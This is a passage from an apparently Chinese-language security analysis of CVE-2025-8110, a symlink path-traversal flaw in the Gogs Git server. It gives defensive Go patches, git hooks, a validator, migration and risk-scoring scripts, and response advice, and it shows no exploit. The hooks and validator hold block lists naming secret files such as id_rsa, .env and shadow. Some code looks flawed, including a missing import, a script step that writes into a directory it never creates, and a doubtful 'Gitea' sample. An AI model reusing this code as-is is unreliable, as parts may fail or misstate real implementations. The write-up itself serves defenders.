case tool.ErrSymlinkDetected:
c.Error(http.StatusForbidden, "symbolic links are not allowed")
case tool.ErrPathOutsideBoundary:
c.Error(http.StatusForbidden, "path outside repository")
default:
c.Error(http.StatusBadRequest, err.Error())
}
return
}
// 4. 解码内容
content, err := base64.StdEncoding.DecodeString(opts.Content)
if err != nil {
c.Error(http.StatusBadRequest, "invalid base64 content")
return
}
// 5. 验证文件大小
if len(content) > c.Repo.Repository.MaxUploadFileSize() {
c.Error(http.StatusRequestEntityTooLarge, "file too large")
return
}
// 6. 安全写入(使用修复后的函数)
if err := tool.SafeWriteFile(repoPath, treePath, content, 0644); err != nil {
c.ServerError("SafeWriteFile", err)
return
}
// 7. 提交更改
// ... 现有的Git提交逻辑 ...
c.JSON(http.StatusOK, &api.FileResponse{
Content: &api.FileContentResponse{
Name: filepath.Base(treePath),
Path: treePath,
},
})
}
修复方案3:使用Linux特定的安全系统调用
// +build linux
package tool
import (
"golang.org/x/sys/unix"
"os"
)
// SafeOpenFile 使用openat2的安全文件打开(Linux 5.6+)
func SafeOpenFile(dirFd int, path string, flags int, mode uint32) (*os.File, error) {
how := &unix.OpenHow{
Flags: uint64(flags),
Mode: uint64(mode),
// RESOLVE_BENEATH: 路径必须在dirfd之下
// RESOLVE_NO_SYMLINKS: 完全禁止符号链接
Resolve: unix.RESOLVE_BENEATH | unix.RESOLVE_NO_SYMLINKS,
}
fd, err := unix.Openat2(dirFd, path, how)
if err != nil {
return nil, err
}
return os.NewFile(uintptr(fd), path), nil
}
// SafeWriteFileLinux Linux特定的安全写入
func SafeWriteFileLinux(basePath, userPath string, data []byte, perm os.FileMode) error {
// 打开基础目录
baseDir, err := os.Open(basePath)
if err != nil {
return err
}
defer baseDir.Close()
// 使用openat2安全打开文件
file, err := SafeOpenFile(
int(baseDir.Fd()),
userPath,
unix.O_WRONLY|unix.O_CREAT|unix.O_TRUNC,
uint32(perm),
)
if err != nil {
return err
}
defer file.Close()
_, err = file.Write(data)
return err
}
Pre-receive Hook防止恶意提交
#!/bin/bash
# .git/hooks/pre-receive
#
# 拒绝包含危险符号链接的提交
while read oldrev newrev refname; do
# 检查新提交中的所有文件
git diff-tree --no-commit-id --name-only -r $newrev | while read file; do
# 获取文件模式
mode=$(git ls-tree $newrev "$file" | awk '{print $1}')
# 120000 表示符号链接
if [ "$mode" = "120000" ]; then
# 获取符号链接目标
target=$(git cat-file -p $newrev:"$file")
# 检查是否指向父目录或绝对路径
if [[ "$target" =~ ^/ ]] || [[ "$target" =~ \.\. ]]; then
echo "错误: 检测到危险的符号链接"
echo "文件: $file"
echo "目标: $target"
echo ""
echo "符号链接不允许指向以下位置:"
echo " - 绝对路径 (以 / 开头)"
echo " - 父目录 (包含 ..)"
echo ""
echo "提交被拒绝。请移除危险的符号链接后重试。"
exit 1
fi
# 检查是否指向敏感文件
case "$target" in
*.git/config|*/.env|*/credentials|*/id_rsa|*/id_ed25519)
echo "错误: 符号链接指向敏感文件"
echo "文件: $file"
echo "目标: $target"
exit 1
;;
esac
echo "警告: 发现符号链接 $file -> $target"
fi
done
done
exit 0
Update Hook额外验证
#!/bin/bash
# .git/hooks/update
refname="$1"
oldrev="$2"
newrev="$3"
# 配置项
MAX_SYMLINKS=10
ALLOWED_SYMLINK_TARGETS="^(data/|assets/|public/)"
symlink_count=0
# 检查新提交
for commit in $(git rev-list $oldrev..$newrev); do
git ls-tree -r $commit | while read mode type hash path; do
if [ "$mode" = "120000" ]; then
symlink_count=$((symlink_count + 1))
# 检查符号链接数量
if [ $symlink_count -gt $MAX_SYMLINKS ]; then
echo "错误: 符号链接数量超过限制 ($MAX_SYMLINKS)"
exit 1
fi
# 获取目标
target=$(git cat-file -p $hash)
# 检查目标是否在允许列表中
if ! [[ "$target" =~ $ALLOWED_SYMLINK_TARGETS ]]; then
echo "错误: 符号链接目标不在允许列表中"
echo "路径: $path"
echo "目标: $target"
exit 1
fi
fi
done
done
exit 0
部署Hooks到所有仓库
#!/bin/bash
# 部署Git hooks到所有现有和未来的仓库
HOOKS_DIR="/etc/gogs/git-hooks"
REPO_ROOT="/data/git/gogs-repositories"
# 1. 创建中央hooks目录
mkdir -p "$HOOKS_DIR"
# 2. 复制hooks
cp pre-receive "$HOOKS_DIR/"
cp update "$HOOKS_DIR/"
chmod +x "$HOOKS_DIR"/*
# 3. 为所有现有仓库创建符号链接
find "$REPO_ROOT" -name "*.git" -type d | while read repo; do
echo "Updating hooks for: $repo"
# 创建hooks目录(如果不存在)
mkdir -p "$repo/hooks"
# 创建符号链接
ln -sf "$HOOKS_DIR/pre-receive" "$repo/hooks/pre-receive"
ln -sf "$HOOKS_DIR/update" "$repo/hooks/update"
done
# 4. 配置Git模板(新仓库自动应用)
mkdir -p /home/git/.git-template/hooks
ln -sf "$HOOKS_DIR/pre-receive" /home/git/.git-template/hooks/pre-receive
ln -sf "$HOOKS_DIR/update" /home/git/.git-template/hooks/update
# 设置全局模板目录
sudo -u git git config --global init.templateDir /home/git/.git-template
echo "[+] Git hooks deployed successfully"
实施API速率限制
// middleware/rate_limit.go
package middleware
import (
"net/http"
"sync"
"time"
"github.com/gogs/gogs/internal/context"
)
type rateLimiter struct {
visitors map[string]*visitor
mu sync.RWMutex
rate int
burst int
}
type visitor struct {
limiter *time.Ticker
lastSeen time.Time
count int
}
func NewRateLimiter(requestsPerMinute, burst int) *rateLimiter {
rl := &rateLimiter{
visitors: make(map[string]*visitor),
rate: requestsPerMinute,
burst: burst,
}
// 清理过期访客
go rl.cleanupVisitors()
return rl
}
func (rl *rateLimiter) getVisitor(ip string) *visitor {
rl.mu.Lock()
defer rl.mu.Unlock()
v, exists := rl.visitors[ip]
if !exists {
v = &visitor{
limiter: time.NewTicker(time.Minute / time.Duration(rl.rate)),
lastSeen: time.Now(),
count: 0,
}
rl.visitors[ip] = v
}
v.lastSeen = time.Now()
return v
}
func (rl *rateLimiter) cleanupVisitors() {
for {
time.Sleep(time.Minute)
rl.mu.Lock()
for ip, v := range rl.visitors {
if time.Since(v.lastSeen) > 3*time.Minute {
v.limiter.Stop()
delete(rl.visitors, ip)
}
}
rl.mu.Unlock()
}
}
func (rl *rateLimiter) Limit(c *context.APIContext) {
ip := c.RemoteAddr()
v := rl.getVisitor(ip)
select {
case <-v.limiter.C:
v.count = 0
default:
v.count++
if v.count > rl.burst {
c.Header().Set("X-RateLimit-Limit", fmt.Sprintf("%d", rl.rate))
c.Header().Set("X-RateLimit-Remaining", "0")
c.JSON(http.StatusTooManyRequests, map[string]string{
"message": "API rate limit exceeded",
})
c.Abort()
return
}
}
c.Header().Set("X-RateLimit-Limit", fmt.Sprintf("%d", rl.rate))
c.Header().Set("X-RateLimit-Remaining", fmt.Sprintf("%d", rl.burst-v.count))
}
// 在路由中应用
func RegisterRoutes(m *macaron.Macaron) {
// API速率限制:每分钟60次请求,突发允许100次
apiLimiter := NewRateLimiter(60, 100)
// PutContents特别限制:每分钟10次
putContentsLimiter := NewRateLimiter(10, 20)
m.Group("/api/v1", func() {
m.Group("/repos", func() {
m.Put("/:username/:reponame/contents/*",
putContentsLimiter.Limit,
repo.PutContents)
}, apiLimiter.Limit)
})
}
文件名和路径白名单
// pkg/tool/validation.go
package tool
import (
"errors"
"path/filepath"
"regexp"
"strings"
)
var (
// 允许的文件名字符
validFileNameRegex = regexp.MustCompile(`^[a-zA-Z0-9._-]+$`)
// 危险的文件扩展名
dangerousExtensions = []string{
".exe", ".dll", ".so", ".dylib",
".sh", ".bash", ".zsh",
".bat", ".cmd", ".ps1",
}
// 敏感文件名模式
sensitivePatterns = []string{
"passwd", "shadow", "id_rsa", "id_ed25519",
".env", "credentials", "config.json",
}
)
// ValidateFileName 验证文件名安全性
func ValidateFileName(filename string) error {
// 检查空文件名
if filename == "" {
return errors.New("empty filename")
}
// 检查长度
if len(filename) > 255 {
return errors.New("filename too long")
}
// 检查路径遍历
if strings.Contains(filename, "..") {
return errors.New("path traversal detected")
}
if strings.HasPrefix(filename, "/") {
return errors.New("absolute path not allowed")
}
// 检查危险字符
if strings.ContainsAny(filename, "\x00\n\r") {
return errors.New("null bytes or newlines not allowed")
}
// 检查危险扩展名
ext := strings.ToLower(filepath.Ext(filename))
for _, dangerous := range dangerousExtensions {
if ext == dangerous {
return errors.New("dangerous file extension")
}
}
// 检查敏感模式
lower := strings.ToLower(filename)
for _, pattern := range sensitivePatterns {
if strings.Contains(lower, pattern) {
return errors.New("sensitive filename pattern detected")
}
}
return nil
}
// ValidateTreePath 验证Git树路径
func ValidateTreePath(treePath string) error {
if treePath == "" {
return errors.New("empty tree path")
}
// 分割路径组件
parts := strings.Split(treePath, "/")
for _, part := range parts {
// 检查每个组件
if part == "." || part == ".." {
return errors.New("relative path components not allowed")
}
// 验证每个部分的文件名
if err := ValidateFileName(part); err != nil {
return err
}
}
// 检查深度(防止过深的目录结构)
if len(parts) > 20 {
return errors.New("path too deep")
}
return nil
}
详细的API审计日志
// middleware/audit_log.go
package middleware
import (
"encoding/json"
"os"
"time"
"github.com/gogs/gogs/internal/context"
)
type AuditLog struct {
Timestamp time.Time `json:"timestamp"`
Username string `json:"username"`
IP string `json:"ip"`
Method string `json:"method"`
Path string `json:"path"`
StatusCode int `json:"status_code"`
UserAgent string `json:"user_agent"`
RequestBody map[string]interface{} `json:"request_body,omitempty"`
Error string `json:"error,omitempty"`
}
type auditLogger struct {
file *os.File
}
func NewAuditLogger(logPath string) (*auditLogger, error) {
file, err := os.OpenFile(logPath,
os.O_APPEND|os.O_CREATE|os.O_WRONLY,
0640)
if err != nil {
return nil, err
}
return &auditLogger{file: file}, nil
}
func (al *auditLogger) Log(c *context.APIContext, requestBody map[string]interface{}, err error) {
log := AuditLog{
Timestamp: time.Now(),
Username: c.User.Name,
IP: c.RemoteAddr(),
Method: c.Req.Method,
Path: c.Req.URL.Path,
StatusCode: c.Resp.Status(),
UserAgent: c.Req.UserAgent(),
RequestBody: requestBody,
}
if err != nil {
log.Error = err.Error()
}
data, _ := json.Marshal(log)
al.file.Write(append(data, '\n'))
}
func (al *auditLogger) Close() error {
return al.file.Close()
}
// 在API处理中使用
var auditLog *auditLogger
func init() {
var err error
auditLog, err = NewAuditLogger("/var/log/gogs/api_audit.log")
if err != nil {
panic(err)
}
}
func AuditMiddleware(c *context.APIContext) {
// 记录请求
var requestBody map[string]interface{}
if c.Req.Method == "PUT" || c.Req.Method == "POST" {
json.NewDecoder(c.Req.Body).Decode(&requestBody)
}
// 延迟记录响应
defer func() {
auditLog.Log(c, requestBody, c.GetError())
}()
c.Next()
}
当前状态(截至2025年12月30日)
根据公开信息:
| 时间节点 | 事件 | 状态 |
|---|---|---|
| 2025-07-17 | 漏洞报告给Gogs维护者 | 已报告 |
| 2025-10-30 | 维护者确认漏洞 | 已确认 |
| 2025-12-10 | 公开披露 | 已公开 |
| 2025-12-30 | 官方修复状态 | 修复进行中,无发布日期 |
延迟原因分析
资源限制
Gogs主要维护者:2-3人
无专职安全团队
社区贡献活跃度低
技术挑战
需要彻底重构文件操作逻辑
必须确保不破坏现有功能
Git符号链接的合法使用场景需保留
向后兼容性考虑
项目维护状态
Gogs开发相对停滞
重心转移至Gitea(分支项目)
长期维护策略不明确
为何Gitea不受影响
Gitea是Gogs的活跃分支,采用了更严格的安全措施:
// Gitea的安全实现示例
// modules/repofiles/update.go
func VerifyBranchNameAndUser(doer *user_model.User, repo *repo_model.Repository, branchName string) error {
// Gitea的路径验证
if !git.IsValidPath(branchName) {
return models.ErrInvalidPath{Path: branchName}
}
// 符号链接检查
if err := checkSymlinks(repo, branchName); err != nil {
return err
}
return nil
}
func checkSymlinks(repo *repo_model.Repository, path string) error {
fullPath := filepath.Join(repo.RepoPath(), path)
// 使用filepath.EvalSymlinks解析
realPath, err := filepath.EvalSymlinks(fullPath)
if err != nil {
if os.IsNotExist(err) {
return nil // 文件不存在是OK的
}
return err
}
// 确保在仓库内
repoPath, _ := filepath.EvalSymlinks(repo.RepoPath())
if !strings.HasPrefix(realPath, repoPath) {
return models.ErrSymlinkOutsideRepo
}
return nil
}
Gitea的安全优势
| 方面 | Gogs | Gitea |
|---|---|---|
| 安全审计频率 | 低 | 高 |
| 社区活跃度 | 低 | 高 |
| 更新频率 | 数月 | 数周 |
| CVE响应时间 | 慢(166天+) | 快(通常<7天) |
| 安全团队 | 无 | 有 |
| 自动化测试 | 基础 | 全面 |
评估迁移可行性
#!/bin/bash
# Gogs到Gitea迁移评估脚本
echo "Gogs to Gitea Migration Assessment"
echo "====================================="
# 1. 检查Gogs版本
GOGS_VERSION=$(gogs --version 2>/dev/null | grep -oP 'Gogs Version: \K[0-9.]+')
echo "[*] Current Gogs version: $GOGS_VERSION"
# 2. 统计仓库数量
REPO_COUNT=$(find /data/git/gogs-repositories -name "*.git" -type d | wc -l)
echo "[*] Total repositories: $REPO_COUNT"
# 3. 统计用户数量
if command -v sqlite3 &> /dev/null; then
USER_COUNT=$(sqlite3 /data/gogs/gogs.db "SELECT COUNT(*) FROM user;" 2>/dev/null)
echo "[*] Total users: $USER_COUNT"
fi
# 4. 检查数据库类型
DB_TYPE=$(grep "TYPE" /data/gogs/conf/app.ini | head -1 | awk '{print $3}')
echo "[*] Database type: $DB_TYPE"
# 5. 计算数据大小
DATA_SIZE=$(du -sh /data/git/gogs-repositories | awk '{print $1}')
echo "[*] Repository data size: $DATA_SIZE"
# 6. 估算迁移时间
echo ""
echo "Migration Estimates:"
echo "- Small deployment (<100 repos): 1-2 hours"
echo "- Medium deployment (100-1000 repos): 4-8 hours"
echo "- Large deployment (>1000 repos): 1-2 days"
echo ""
echo "Compatibility Check:"
# 7. 检查Gitea兼容性
if [ "$GOGS_VERSION" \< "0.12" ]; then
echo "[!] WARNING: Version too old, may have migration issues"
else
echo "[+] Version compatible with Gitea migration"
fi
# 8. 检查必要工具
for tool in git tar rsync; do
if command -v $tool &> /dev/null; then
echo "[+] $tool: installed"
else
echo "[-] $tool: NOT FOUND (required for migration)"
fi
done
echo ""
echo "Recommendation:"
if [ $REPO_COUNT -lt 100 ] && [ "$GOGS_VERSION" \> "0.12" ]; then
echo "SAFE TO MIGRATE - Low risk, straightforward migration"
elif [ $REPO_COUNT -lt 500 ]; then
echo "MODERATE RISK - Test migration on staging environment first"
else
echo "HIGH COMPLEXITY - Requires careful planning and extended downtime"
fi
执行迁移
#!/bin/bash
# Gogs到Gitea迁移脚本
set -e
GOGS_DATA="/data/gogs"
GOGS_REPOS="/data/git/gogs-repositories"
GITEA_DATA="/data/gitea"
BACKUP_DIR="/backup/gogs_migration_$(date +%Y%m%d)"
echo "[*] Starting Gogs to Gitea migration"
echo "====================================="
# 1. 创建完整备份
echo "[*] Step 1: Creating backup..."
mkdir -p "$BACKUP_DIR"
systemctl stop gogs
tar czf "$BACKUP_DIR/gogs_data.tar.gz" "$GOGS_DATA"
tar czf "$BACKUP_DIR/gogs_repos.tar.gz" "$GOGS_REPOS"
echo "[+] Backup completed: $BACKUP_DIR"
# 2. 安装Gitea
echo "[*] Step 2: Installing Gitea..."
GITEA_VERSION="1.21.0"
wget -O /tmp/gitea "https://dl.gitea.com/gitea/$GITEA_VERSION/gitea-$GITEA_VERSION-linux-amd64"
chmod +x /tmp/gitea
sudo mv /tmp/gitea /usr/local/bin/gitea
# 3. 创建Gitea用户(如果不存在)
if ! id -u gitea &>/dev/null; then
sudo adduser --system --group --disabled-password --home /home/gitea gitea
fi
# 4. 准备Gitea目录
sudo mkdir -p "$GITEA_DATA"
sudo chown -R gitea:gitea "$GITEA_DATA"
# 5. 迁移配置
echo "[*] Step 3: Migrating configuration..."
cat > /tmp/app.ini <<EOF
[server]
PROTOCOL = http
DOMAIN = $(grep "DOMAIN" $GOGS_DATA/conf/app.ini | awk '{print $3}')
HTTP_PORT = 3000
ROOT_URL = $(grep "ROOT_URL" $GOGS_DATA/conf/app.ini | awk '{print $3}')
[database]
DB_TYPE = $(grep "TYPE" $GOGS_DATA/conf/app.ini | head -1 | awk '{print $3}')
PATH = $GITEA_DATA/gitea.db
[repository]
ROOT = /data/git/gitea-repositories
[security]
INSTALL_LOCK = true
SECRET_KEY = $(openssl rand -hex 32)
EOF
sudo mv /tmp/app.ini $GITEA_DATA/conf/app.ini
sudo chown gitea:gitea $GITEA_DATA/conf/app.ini
# 6. 复制仓库数据
echo "[*] Step 4: Copying repositories..."
sudo mkdir -p /data/git/gitea-repositories
sudo rsync -av "$GOGS_REPOS/" /data/git/gitea-repositories/
sudo chown -R gitea:gitea /data/git/gitea-repositories
# 7. 迁移数据库
echo "[*] Step 5: Migrating database..."
if [ -f "$GOGS_DATA/gogs.db" ]; then
cp "$GOGS_DATA/gogs.db" "$GITEA_DATA/gitea.db"
sudo chown gitea:gitea "$GITEA_DATA/gitea.db"
# Gitea数据库迁移
sudo -u gitea gitea migrate
fi
# 8. 创建Gitea systemd服务
echo "[*] Step 6: Setting up Gitea service..."
cat > /tmp/gitea.service <<EOF
[Unit]
Description=Gitea
After=network.target
[Service]
Type=simple
User=gitea
Group=gitea
WorkingDirectory=/home/gitea
ExecStart=/usr/local/bin/gitea web -c $GITEA_DATA/conf/app.ini
Restart=always
Environment=USER=gitea HOME=/home/gitea GITEA_WORK_DIR=$GITEA_DATA
[Install]
WantedBy=multi-user.target
EOF
sudo mv /tmp/gitea.service /etc/systemd/system/gitea.service
sudo systemctl daemon-reload
sudo systemctl enable gitea
sudo systemctl start gitea
# 9. 验证迁移
echo "[*] Step 7: Verifying migration..."
sleep 5
if systemctl is-active --quiet gitea; then
echo "[+] Gitea is running"
# 检查仓库数量
GITEA_REPOS=$(find /data/git/gitea-repositories -name "*.git" | wc -l)
echo "[*] Migrated $GITEA_REPOS repositories"
echo ""
echo "====================================="
echo "[+] Migration completed successfully!"
echo ""
echo "Next steps:"
echo "1. Access Gitea at http://your-domain:3000"
echo "2. Verify all repositories are accessible"
echo "3. Test user authentication"
echo "4. Update DNS/reverse proxy configuration"
echo "5. Once confirmed, remove Gogs: systemctl disable gogs"
echo ""
echo "Backup location: $BACKUP_DIR"
else
echo "[-] Gitea failed to start"
echo "[*] Restoring Gogs from backup..."
systemctl stop gitea
tar xzf "$BACKUP_DIR/gogs_data.tar.gz" -C /
tar xzf "$BACKUP_DIR/gogs_repos.tar.gz" -C /
systemctl start gogs
echo "[-] Migration failed, Gogs restored"
exit 1
fi
由于官方补丁延迟,社区可能开发非官方补丁:
应用第三方补丁的风险评估
优点:
+- 快速获得保护
+- 社区驱动,可能更全面
+- 可以自行审查代码
风险:
+- 未经官方验证
+- 可能引入新bug
+- 升级官方版本时可能冲突
+- 缺少长期支持
+- 潜在的恶意代码风险
建议:
+- 仅在隔离环境测试
+- 完整审查补丁代码
+- 维护分支追踪
+- 监控官方修复进展
+- 优先考虑官方解决方案
风险评估矩阵
风险计算公式:
总风险 = 威胁可能性 x 影响严重程度 x 暴露程度
评分标准(1-5):
+- 威胁可能性
| 1 = 极低(理论攻击)
| 5 = 极高(主动利用中)
|
+- 影响严重程度
| 1 = 可忽略
| 5 = 灾难性
|
+- 暴露程度
1 = 完全隔离
5 = 公网完全暴露
不同场景的风险评分
| 场景 | 威胁可能性 | 影响严重程度 | 暴露程度 | 总风险 | 风险级别 |
|---|---|---|---|---|---|
| 公网暴露+公开注册 | 5 | 5 | 5 | 125 | 严重 |
| 公网暴露+禁用注册 | 4 | 5 | 4 | 80 | 高 |
| VPN访问+可信用户 | 2 | 4 | 2 | 16 | 中 |
| 内网隔离+MFA | 1 | 3 | 1 | 3 | 低 |
组织特定风险评估清单
#!/bin/bash
# 组织风险评估脚本
echo "CVE-2025-8110 Risk Assessment"
echo "============================="
RISK_SCORE=0
# 1. 版本检查
GOGS_VERSION=$(gogs --version 2>/dev/null | grep -oP 'Gogs Version: \K[0-9.]+')
if [[ "$GOGS_VERSION" =~ ^0\.([0-9]|1[0-2]|13\.[0-3])$ ]]; then
echo "[!] Vulnerable version detected: $GOGS_VERSION"
RISK_SCORE=$((RISK_SCORE + 20))
else
echo "[+] Version appears patched or not vulnerable"
exit 0
fi
# 2. 网络暴露检查
if netstat -tuln | grep -q ":3000.*0.0.0.0"; then
echo "[!] Gogs exposed on all interfaces (0.0.0.0)"
RISK_SCORE=$((RISK_SCORE + 30))
elif netstat -tuln | grep -q ":3000.*127.0.0.1"; then
echo "[+] Gogs only on localhost"
RISK_SCORE=$((RISK_SCORE + 5))
else
echo "[*] Gogs listening on specific interface"
RISK_SCORE=$((RISK_SCORE + 15))
fi
# 3. 注册功能检查
if grep -q "DISABLE_REGISTRATION = false" /data/gogs/conf/app.ini 2>/dev/null; then
echo "[!] Public registration is ENABLED"
RISK_SCORE=$((RISK_SCORE + 25))
else
echo "[+] Public registration is disabled"
RISK_SCORE=$((RISK_SCORE + 5))
fi
# 4. 现有仓库检查
REPO_COUNT=$(find /data/git/gogs-repositories -name "*.git" | wc -l)
echo "[*] Total repositories: $REPO_COUNT"
if [ $REPO_COUNT -gt 100 ]; then
RISK_SCORE=$((RISK_SCORE + 15))
elif [ $REPO_COUNT -gt 10 ]; then
RISK_SCORE=$((RISK_SCORE + 10))
else
RISK_SCORE=$((RISK_SCORE + 5))
fi
# 5. 用户数量
USER_COUNT=$(sqlite3 /data/gogs/gogs.db "SELECT COUNT(*) FROM user;" 2>/dev/null || echo "0")
echo "[*] Total users: $USER_COUNT"
if [ $USER_COUNT -gt 50 ]; then
RISK_SCORE=$((RISK_SCORE + 10))
elif [ $USER_COUNT -gt 10 ]; then
RISK_SCORE=$((RISK_SCORE + 5))
fi
echo ""
echo "============================="
echo "RISK SCORE: $RISK_SCORE / 100"
if [ $RISK_SCORE -ge 70 ]; then
echo "RISK LEVEL: CRITICAL"
echo ""
echo "IMMEDIATE ACTIONS REQUIRED:"
echo "1. Disable public registration NOW"
echo "2. Restrict network access (VPN/IP whitelist)"
echo "3. Audit all repositories for malicious content"
echo "4. Plan migration to Gitea within 48 hours"
elif [ $RISK_SCORE -ge 40 ]; then
echo "RISK LEVEL: HIGH"
echo ""
echo "URGENT ACTIONS REQUIRED:"
echo "1. Disable public registration within 24h"
echo "2. Implement network restrictions"
echo "3. Schedule migration to Gitea"
elif [ $RISK_SCORE -ge 20 ]; then
echo "RISK LEVEL: MEDIUM"
echo ""
echo "RECOMMENDED ACTIONS:"
echo "1. Monitor for suspicious activity"
echo "2. Plan security hardening"
echo "3. Consider migration to Gitea"
else
echo "RISK LEVEL: LOW"
echo ""
echo "SUGGESTED ACTIONS:"
echo "1. Maintain current security posture"
echo "2. Monitor for official patch"
fi
潜在损失估算
数据泄露成本(平均):
+- 每条记录: $150 USD
+- 源代码泄露: $500,000 - $5,000,000 USD
+- 知识产权损失: 不可估量
+- 声誉损害: 长期影响
运营中断成本:
+- 中断时间: 24-72小时(调查+清理)
+- 每小时损失: $5,000 - $50,000 USD
+- 总计: $120,000 - $3,600,000 USD
合规罚款:
+- GDPR: 最高 EUR20,000,000 或营业额4%
+- CCPA: $2,500 - $7,500 /违规
+- 其他行业法规罚款
修复成本:
+- 事件响应团队: $100,000 - $500,000
+- 取证分析: $50,000 - $200,000
+- 系统重建: $50,000 - $300,000
+- 法律费用: $100,000+
+- PR危机管理: $50,000+
行业特定影响
| 行业 | 主要风险 | 估计损失 | 合规影响 |
|---|---|---|---|
| 金融科技 | 交易系统源代码泄露 | $5M+ | SOX、PCI-DSS违规 |
| 医疗健康 | 患者数据暴露 | $2M+ | HIPAA重罚 |
| SaaS提供商 | 客户代码和数据泄露 | $10M+ | 客户信任丧失 |
| 电子商务 | 支付集成代码泄露 | $3M+ | PCI-DSS违规 |
| 制造业 | 工业控制代码泄露 | $8M+ | 生产中断 |
漏洞响应决策流程
开始
|
+-> 运行Gogs <= 0.13.3?
| +- 否 -> 无风险,监控未来漏洞
| +- 是 v
|
+-> 公网暴露?
| +- 否 -> 中低风险
| | +- 禁用注册
| | +- 审计仓库
| | +- 计划迁移
| +- 是 v
|
+-> 公开注册开启?
| +- 否 -> 中等风险
| | +- 限制IP访问
| | +- 启用MFA
| | +- 加速迁移计划
| +- 是 v
|
+-> 立即响应(严重风险)
| +- 1小时内:禁用公开注册
| +- 4小时内:IP白名单
| +- 24小时内:完整审计
| +- 48小时内:迁移至Gitea
| +- 持续:监控和告警
|
+-> 已发现攻陷迹象?
+- 否 -> 预防性措施
+- 是 -> 事件响应流程
+- 隔离系统
+- 保留证据
+- 启动IR团队
+- 通知相关方
+- 执行恢复计划
持续风险监控
# risk_monitoring_plan.yml
monitoring_objectives:
- 检测新的CVE披露
- 监控Gogs/Gitea安全更新
- 追踪威胁情报
- 评估新攻击技术
key_metrics:
- CVE数量(月度)
- 平均修复时间
- 未修复漏洞数量
- 安全事件数量
review_schedule:
daily:
- 检查安全日志
- 审查告警
weekly:
- 漏洞扫描
- 配置审计
monthly:
- 风险评分更新
- 威胁模型审查
quarterly:
- 渗透测试
- 安全培训
reporting:
audience:
- 技术团队: 详细技术报告
- 管理层: 执行摘要
- 合规团队: 合规状态报告
frequency: 月度
format: PDF + 仪表板
漏洞本质总结
CVE-2025-8110的核心问题在于:
不完整的修复:CVE-2024-55947的补丁只进行了表面的字符串验证,未考虑文件系统级别的攻击向量
符号链接滥用:Git原生支持符号链接,但Gogs的API层未正确处理这一特性,导致路径遍历保护被绕过
信任边界模糊:API直接操作文件系统,绕过了Git的安全检查层
深度防御缺失:单点防护失效后无额外安全层
关键数字
CVSS评分:7.8 - 8.7(高危)
受影响版本:Gogs <= 0.13.3(所有旧版本)
已知受害者:700+公网实例
攻击持续时间:2025年7月至今(6个月+)
修复延迟:166天+(仍无补丁)
攻击复杂度:低(易于利用)
权限要求:低(仅需仓库创建权限)
立即行动(0-24小时)
优先级1(关键):
+- 禁用公开用户注册
+- 添加IP白名单限制
+- 审计现有仓库查找恶意内容
+- 启用详细日志记录
优先级2(重要):
+- 部署监控和告警
+- 实施API速率限制
+- 加固操作系统和网络
+- 制定事件响应计划
短期措施(1-7天)
技术措施:
+- 部署Git hooks防护
+- 配置WAF/IDS规则
+- 实施文件完整性监控
+- 启用多因素认证
组织措施:
+- 评估业务影响
+- 制定迁移计划
+- 培训开发团队
+- 更新安全政策
中期计划(1-4周)
迁移准备:
+- 评估Gitea兼容性
+- 搭建测试环境
+- 执行迁移测试
+- 制定回滚计划
风险管理:
+- 完整安全审计
+- 渗透测试
+- 供应链审查
+- 合规性评估
长期战略(1-3个月)
基础设施:
+- 完成Gitea迁移
+- 实施DevSecOps
+- 建立安全基线
+- 持续监控优化
流程改进:
+- 安全开发生命周期
+- 漏洞管理流程
+- 事件响应演练
+- 安全意识培训
对开发者的启示
安全修复必须全面
不能只修复表面症状
需要考虑所有可能的绕过方式
必须进行安全审查和测试
深度防御原则
单层防护不可靠
需要多层安全机制
失败时要安全失败(fail-secure)
安全编码实践
使用白名单而非黑名单
验证实际文件属性而非字符串
利用操作系统安全特性(如O_NOFOLLOW)
对组织的启示
开源软件风险管理
评估项目维护状态
监控安全公告
准备应急响应方案
考虑商业支持选项
供应链安全
审查所有依赖组件
建立漏洞管理流程
定期安全评估
多样化供应商
快速响应能力
建立安全响应团队
制定应急预案
定期演练
保持技术债务在可控范围
对安全社区的启示
负责任披露的重要性
Wiz Research的负责任披露给了社区166天的准备时间
但维护者响应缓慢导致窗口期被浪费
需要平衡披露时机
社区协作
开发检测工具(Nuclei模板)
分享威胁情报
协助受影响用户
推动官方修复
安全工具生态
自动化扫描工具的价值
开源检测规则
共享IoC数据库
技术发展方向
文件操作安全:
+- 内核级路径验证
+- 强制性访问控制(MAC)
+- 符号链接安全策略
+- 容器化隔离
API安全:
+- 自动输入验证框架
+- AI驱动的异常检测
+- 零信任架构
+- 行为分析
开发工具:
+- 静态代码分析增强
+- 模糊测试自动化
+- 安全补丁自动生成
+- 形式化验证
行业趋势
从Gogs迁移至Gitea加速
Gitea活跃维护吸引用户
企业版Gitea提供商业支持
云原生GitOps集成
Git服务安全标准提升
GitHub/GitLab提高安全基准
自托管方案需跟进
安全认证成为选型标准
DevSecOps成熟
安全左移理念普及
CI/CD集成安全检查
自动化安全测试
针对不同角色的建议
开发者:
1. 立即检查是否使用Gogs <= 0.13.3
2. 如果使用,禁用公开注册
3. 计划迁移至Gitea
4. 学习安全编码实践
5. 参与安全社区
系统管理员:
1. 审计所有Git服务实例
2. 实施网络隔离和访问控制
3. 部署监控和告警
4. 制定应急响应计划
5. 测试备份恢复流程
安全团队:
1. 评估组织风险敞口
2. 优先处理高风险实例
3. 建立持续监控
4. 进行威胁狩猎
5. 更新安全策略
管理层:
1. 了解业务影响
2. 分配必要资源
3. 支持迁移项目
4. 审查安全预算
5. 推动安全文化
CVE-2025-8110是一个典型的"修复绕过"漏洞,揭示了安全修复的复杂性。虽然最初的CVE-2024-55947得到了修复,但不完整的实现导致了更严重的后续漏洞。
这个案例强调了几个关键点:
安全是持续的过程,不是一次性任务
深度防御比单点防护更可靠
开源项目维护直接影响安全性
及时响应对于漏洞管理至关重要
对于仍在运行Gogs的组织,迁移至Gitea或其他活跃维护的替代方案是最明智的长期解决方案。在过渡期间,必须实施本文描述的所有临时缓解措施。
安全是一个旅程,而非目的地。CVE-2025-8110提醒我们,即使是看似简单的修复也需要全面的分析、测试和验证。只有通过持续的警惕和改进,我们才能保护关键的开发基础设施免受不断演变的威胁。
参考文献
Wiz Research - Gogs Zero-Day RCE (CVE-2025-8110) Actively Exploited
https://www.wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit
National Vulnerability Database - CVE-2025-8110
https://nvd.nist.gov/vuln/detail/CVE-2025-8110
OSS Security Mailing List - CVE-2025-8110 Disclosure
https://seclists.org/oss-sec/2025/q4/262
GitHub Advisory Database - GHSA-mq8m-42gh-wq7r
